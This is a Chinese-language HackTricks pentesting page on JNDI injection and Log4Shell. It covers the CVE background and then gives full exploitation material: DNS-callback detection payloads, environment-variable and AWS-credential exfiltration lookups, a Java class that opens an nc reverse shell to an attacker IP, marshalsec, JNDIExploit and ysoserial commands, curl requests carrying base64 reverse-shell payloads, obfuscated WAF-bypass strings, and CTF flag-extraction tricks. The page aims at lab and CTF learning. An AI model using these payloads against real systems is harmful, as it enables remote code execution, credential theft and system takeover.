JNDI - Java Naming and Directory Interface & Log4Shell

支持 HackTricks

基本信息

JNDI 自 1990 年代末集成到 Java 中,作为目录服务,使 Java 程序能够通过命名系统定位数据或对象。它通过服务提供者接口 (SPIs) 支持各种目录服务,允许从不同系统检索数据,包括远程 Java 对象。常见的 SPI 包括 CORBA COS、Java RMI 注册表和 LDAP。

JNDI 命名参考

Java 对象可以使用 JNDI 命名引用进行存储和检索,形式有两种:

  • 引用地址:指定对象的位置(例如,rmi://server/ref),允许直接从指定地址检索。

  • 远程工厂:引用远程工厂类。当访问时,该类从远程位置下载并实例化。

然而,这种机制可能被利用,可能导致加载和执行任意代码。作为对策:

  • RMIjava.rmi.server.useCodeabseOnly = true 从 JDK 7u21 开始默认设置,限制远程对象加载。安全管理器进一步限制可以加载的内容。

  • LDAPcom.sun.jndi.ldap.object.trustURLCodebase = false 从 JDK 6u141、7u131、8u121 开始默认设置,阻止执行远程加载的 Java 对象。如果设置为 true,则可以在没有安全管理器监督的情况下执行远程代码。

  • CORBA:没有特定属性,但安全管理器始终处于活动状态。

然而,负责解析 JNDI 链接的 命名管理器 缺乏内置安全机制,可能允许从任何来源检索对象。这构成风险,因为 RMI、LDAP 和 CORBA 的保护措施可能被绕过,导致加载任意 Java 对象或利用现有应用程序组件(小工具)运行恶意代码。

可利用的 URL 示例包括:

  • rmi://attacker-server/bar

  • ldap://attacker-server/bar

  • iiop://attacker-server/bar

尽管有保护措施,漏洞仍然存在,主要是由于缺乏对从不受信任来源加载 JNDI 的保护以及绕过现有保护的可能性。

JNDI 示例

即使您已设置 PROVIDER_URL,您仍可以在查找中指示不同的 URL,并将其访问:ctx.lookup("<attacker-controlled-url>"),这就是攻击者将利用的内容,从他控制的系统加载任意对象。

CORBA 概述

CORBA(通用对象请求代理架构)使用 可互操作对象引用 (IOR) 唯一标识远程对象。此引用包含关键信息,如:

  • 类型 ID:接口的唯一标识符。

  • 代码库:获取存根类的 URL。

值得注意的是,CORBA 本身并不脆弱。确保安全通常涉及:

  • 安装 安全管理器

  • 配置安全管理器以允许连接到潜在恶意的代码库。这可以通过以下方式实现:

  • 套接字权限,例如,permissions java.net.SocketPermission "*:1098-1099", "connect";

  • 文件读取权限,可以是通用的(permission java.io.FilePermission "<<ALL FILES>>", "read";)或针对可能放置恶意文件的特定目录。

然而,一些供应商政策可能会宽松,默认允许这些连接。

RMI 上下文

对于 RMI(远程方法调用),情况有些不同。与 CORBA 一样,默认情况下限制任意类下载。要利用 RMI,通常需要绕过安全管理器,这在 CORBA 中也同样相关。

LDAP

首先,我们需要区分搜索和查找。 搜索将使用类似 ldap://localhost:389/o=JNDITutorial 的 URL 从 LDAP 服务器查找 JNDITutorial 对象并 检索其属性查找旨在用于 命名服务,因为我们想获取 绑定到名称的任何内容

如果 LDAP 搜索是通过 SearchControls.setReturningObjFlag() 设置为 true 调用的,则返回的对象将被重建

因此,有几种方法可以攻击这些选项。 攻击者可能会通过在 LDAP 记录中引入有效负载来污染它们,这些有效负载将在收集它们的系统中执行(如果您可以访问 LDAP 服务器,这非常有用,可以 妥协数十台机器)。另一种利用此漏洞的方法是执行 MitM 攻击,例如在 LDAP 搜索中。

如果您可以 使应用程序解析 JNDI LDAP URL,您可以控制将要搜索的 LDAP,并可以返回有效负载(log4shell)。

反序列化漏洞

漏洞是序列化的,并将被反序列化。 如果 trustURLCodebasetrue,攻击者可以在代码库中提供自己的类;如果不是,他将需要利用类路径中的小工具。

JNDI 引用漏洞

使用 JavaFactory 引用 攻击此 LDAP 更容易:

Log4Shell 漏洞

该漏洞在 Log4j 中引入,因为它支持一种 特殊语法,形式为 ${prefix:name},其中 prefix 是多个不同的 查找 之一,name 应该被评估。例如,${java:version} 是当前运行的 Java 版本。

LOG4J2-313 引入了 jndi 查找功能。此功能通过 JNDI 启用变量的检索。通常,键会自动以 java:comp/env/ 为前缀。然而,如果键本身包含 ":",则不会应用此默认前缀。

在键中存在 : 时,例如 ${jndi:ldap://example.com/a},将 没有前缀,并且 LDAP 服务器会查询该对象。这些查找可以在 Log4j 的配置中使用,也可以在记录行时使用。

因此,获取 RCE 所需的唯一条件是 处理用户控制信息的 Log4j 漏洞版本。由于这是一个被 Java 应用程序广泛使用的库来记录信息(包括面向互联网的应用程序),因此通常会有 log4j 记录例如接收到的 HTTP 头信息,如 User-Agent。然而,log4j 不仅用于记录 HTTP 信息,还用于记录开发人员指示的任何输入和数据

Log4Shell 相关 CVE 概述

此漏洞是 log4j-core 组件中的一个严重 不受信任的反序列化缺陷,影响版本从 2.0-beta9 到 2.14.1。它允许 远程代码执行 (RCE),使攻击者能够接管系统。该问题由阿里云安全团队的陈兆军报告,影响多个 Apache 框架。版本 2.15.0 中的初始修复不完整。防御的 Sigma 规则可用(规则 1规则 2)。

最初评级为低,但后来升级为严重,此 CVE 是由于 2.15.0 对 CVE-2021-44228 的修复不完整而导致的 拒绝服务 (DoS) 缺陷。它影响非默认配置,允许攻击者通过精心制作的有效负载造成 DoS 攻击。一个 推文 展示了一种绕过方法。该问题在版本 2.16.0 和 2.12.2 中通过删除消息查找模式和默认禁用 JNDI 解决。

影响 Log4j 1.x 版本 在使用 JMSAppender 的非默认配置中,此 CVE 是一个不受信任的反序列化缺陷。1.x 分支没有可用的修复,已结束生命周期,建议升级到 log4j-core 2.17.0

此漏洞影响 Logback 日志框架,这是 Log4j 1.x 的继任者。之前认为是安全的,该框架被发现存在漏洞,并已发布新版本(1.3.0-alpha11 和 1.2.9)以解决该问题。

CVE-2021-45105 [高]

Log4j 2.16.0 包含一个 DoS 缺陷,促使发布 log4j 2.17.0 来修复该 CVE。更多细节见 BleepingComputer 的 报告

影响 log4j 版本 2.17,此 CVE 要求攻击者控制 log4j 的配置文件。它涉及通过配置的 JDBCAppender 进行潜在的任意代码执行。更多细节可在 Checkmarx 博客文章 中找到。

Log4Shell 利用

发现

如果没有保护,此漏洞非常容易发现,因为它将向您在有效负载中指示的地址发送至少一个 DNS 请求。因此,像这样的有效负载:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}(使用 canarytokens.com

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}(使用 interactsh

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}(使用 Burp Suite)

  • ${jndi:ldap://2j4ayo.dnslog.cn}(使用 dnslog

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}(使用 huntress

请注意,即使收到 DNS 请求,也不意味着应用程序是可利用的(甚至不脆弱),您需要尝试利用它。

请记住,要 利用版本 2.15,您需要添加 localhost 检查绕过:${jndi:ldap://127.0.0.1#...}

本地发现

搜索 本地易受攻击版本 的库:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

验证

之前列出的一些平台将允许您插入一些变量数据,这些数据将在请求时被记录。 这对于两件事非常有用:

  • 验证 漏洞

  • 利用 漏洞 提取信息

例如,您可以请求类似于: 或像 ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a},如果收到的 DNS 请求包含环境变量的值,您就知道该应用程序存在漏洞。

您可以尝试 泄露 的其他信息:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE 信息

运行在 JDK 版本高于 6u141、7u131 或 8u121 的主机已针对 LDAP 类加载攻击向量进行了保护。这是由于默认禁用 com.sun.jndi.ldap.object.trustURLCodebase,这防止了 JNDI 通过 LDAP 加载远程代码库。然而,重要的是要注意,这些版本并未保护免受反序列化攻击向量

对于旨在利用这些较高 JDK 版本的攻击者,必须在 Java 应用程序中利用受信任的工具。像 ysoserial 或 JNDIExploit 这样的工具通常用于此目的。相反,利用较低的 JDK 版本相对容易,因为这些版本可以被操纵以加载和执行任意类。

有关更多信息例如 RMI 和 CORBA 向量的限制),请查看前面的 JNDI 命名参考部分https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - Marshalsec 与自定义有效负载

您可以在 THM box 中测试此内容: https://tryhackme.com/room/solar

使用工具 marshalsec(jar 版本可在 这里 获取)。此方法建立一个 LDAP 引用服务器,以将连接重定向到一个次级 HTTP 服务器,在该服务器上将托管漏洞:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

要提示目标加载反向 shell 代码,制作一个名为 Exploit.java 的 Java 文件,内容如下:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

将Java文件编译成类文件,使用:javac Exploit.java -source 8 -target 8。接下来,在包含类文件的目录中启动一个HTTP服务器,使用:python3 -m http.server。确保marshalsec LDAP服务器引用此HTTP服务器。

通过发送类似的有效负载来触发易受攻击的Web服务器上利用类的执行:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

注意: 此漏洞依赖于Java的配置,以允许通过LDAP加载远程代码库。如果这不被允许,请考虑利用受信任的类进行任意代码执行。

RCE - JNDIExploit

请注意,出于某种原因,作者在发现log4shell后将此项目从github中删除。您可以在https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2找到缓存版本,但如果您想尊重作者的决定,请使用其他方法来利用此漏洞。

此外,您无法在时光机中找到源代码,因此要么分析源代码,要么在不知道自己正在执行什么的情况下执行jar。

在此示例中,您可以在8080端口运行此易受攻击的web服务器以进行log4shellhttps://github.com/christophetd/log4shell-vulnerable-app在README中您将找到如何运行它)。此易受攻击的应用程序使用易受攻击的log4shell版本记录HTTP请求头_X-Api-Version_的内容。

然后,您可以下载JNDIExploit jar文件并使用以下命令执行它:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

在阅读代码仅几分钟后,在 com.feihong.ldap.LdapServercom.feihong.ldap.HTTPServer 中,您可以看到 LDAP 和 HTTP 服务器是如何创建的。LDAP 服务器将理解需要提供的有效负载,并将受害者重定向到 HTTP 服务器,后者将提供利用程序。 在 com.feihong.ldap.gadgets 中,您可以找到 一些特定的工具,可以用来执行所需的操作(可能执行任意代码)。在 com.feihong.ldap.template 中,您可以看到不同的模板类,这些类将 生成利用程序

您可以使用 java -jar JNDIExploit-1.2-SNAPSHOT.jar -u 查看所有可用的利用程序。一些有用的包括:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

所以,在我们的例子中,我们已经有了那个易受攻击的docker应用程序在运行。要攻击它:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

当发送攻击时,您将在执行 JNDIExploit-1.2-SNAPSHOT.jar 的终端中看到一些输出。

请记得检查 java -jar JNDIExploit-1.2-SNAPSHOT.jar -u 以获取其他利用选项。此外,如果需要,您可以更改 LDAP 和 HTTP 服务器的端口。

RCE - JNDI-Exploit-Kit

与之前的利用方式类似,您可以尝试使用 JNDI-Exploit-Kit 来利用此漏洞。 您可以运行以下命令生成要发送给受害者的 URL:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

这个攻击使用自定义生成的java对象将在像THM solar room这样的实验室中有效。然而,这通常不会有效(因为默认情况下Java未配置为使用LDAP加载远程代码库),我认为这是因为它没有滥用受信任的类来执行任意代码。

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus 是另一个生成可用JNDI链接的工具,并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务。

RCE - ysoserial & JNDI-Exploit-Kit

这个选项对于攻击仅信任指定类而不是所有类的Java版本非常有用。因此,ysoserial将用于生成受信任类的序列化,这些序列化可以用作执行任意代码的工具(ysoserial滥用的受信任类必须被受害者的java程序使用,以便利用能够生效)。

使用ysoserialysoserial-modified,您可以创建将被JNDI下载的反序列化利用:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

使用 JNDI-Exploit-Kit 生成 JNDI 链接,其中漏洞将等待来自易受攻击机器的连接。您可以提供 不同的利用程序,这些利用程序可以由 JNDI-Exploit-Kit 自动生成,甚至是您 自己的反序列化有效负载(由您或 ysoserial 生成)。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

现在您可以轻松使用生成的 JNDI 链接来利用该漏洞并获得一个 反向 shell,只需发送到一个易受攻击的 log4j 版本:${ldap://10.10.14.10:1389/generated}

绕过方法

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

自动扫描器

测试实验室

Log4Shell 后利用

在这个 CTF 写作 中很好地解释了如何 可能 滥用 Log4J 的某些功能。

Log4j 的 安全页面 有一些有趣的句子:

从版本 2.16.0(对于 Java 8)开始,消息查找功能已被完全移除配置中的查找仍然有效。此外,Log4j 现在默认禁用对 JNDI 的访问。配置中的 JNDI 查找现在需要显式启用。

从版本 2.17.0(以及 Java 7 和 Java 6 的 2.12.3 和 2.3.1)开始,仅在配置中的查找字符串被递归展开;在任何其他用法中,仅解析顶级查找,任何嵌套查找都不会被解析。

这意味着默认情况下你可以 忘记使用任何 jndi 漏洞。此外,要执行 递归查找,你需要进行配置。

例如,在那个 CTF 中,这在文件 log4j2.xml 中进行了配置:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

这个 CTF 中,攻击者控制了 ${sys:cmd} 的值,并需要从环境变量中提取标志。 如在 之前的有效载荷 页面中所见,有不同的方法可以访问环境变量,例如:${env:FLAG}。在这个 CTF 中这没有用,但在其他现实场景中可能会有用。

Exfiltration in Exceptions

在 CTF 中,你 无法访问 java 应用程序的 stderr,使用 log4J,但 Log4J 异常会发送到 stdout,这在 python 应用程序中被打印。这意味着触发异常时我们可以访问内容。提取标志的异常是:${java:${env:FLAG}}。这有效是因为 ${java:CTF{blahblah}} 不存在,异常的值将显示标志:

Conversion Patterns Exceptions

仅提及,你还可以注入新的 转换模式 并触发将被记录到 stdout 的异常。例如:

这在提取错误消息中的数据时并没有被发现有用,因为查找在转换模式之前没有解决,但它可能对其他事情如检测有用。

Conversion Patterns Regexes

然而,可以使用一些 支持正则表达式的转换模式 通过使用正则表达式和滥用 二分查找基于时间 的行为来提取信息。

  • 通过异常消息的二分查找

转换模式 %replace 可以用来 替换 字符串 中的 内容,甚至使用 正则表达式。它的工作方式是:replace{pattern}{regex}{substitution} 滥用这种行为,你可以使替换 在正则表达式匹配字符串中的任何内容时触发异常(如果未找到则不触发异常),如下所示:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • 基于时间的

正如前一节提到的,%replace 支持 regexes。因此,可以使用来自 ReDoS 页面 的有效载荷来导致 超时,如果找到标志。 例如,像 %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} 的有效载荷将在该 CTF 中触发 超时

在这个 写作 中,使用了 放大攻击 而不是 ReDoS 攻击来造成响应中的时间差:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

如果标志以 flagGuess 开头,整个标志将被 29 个 # 替换(我使用这个字符是因为它可能不会是标志的一部分)。然后将结果中的每个 29 个 # 替换为 54 个 #。这个过程重复 6 次,导致总共 29*54*54^6* =`` ``96816014208 #

替换如此多的 # 将触发 Flask 应用程序的 10 秒超时,这将导致 HTTP 状态代码 500 被发送给用户。(如果标志不以 flagGuess 开头,我们将收到非 500 状态代码)

参考文献

支持 HackTricks

Last updated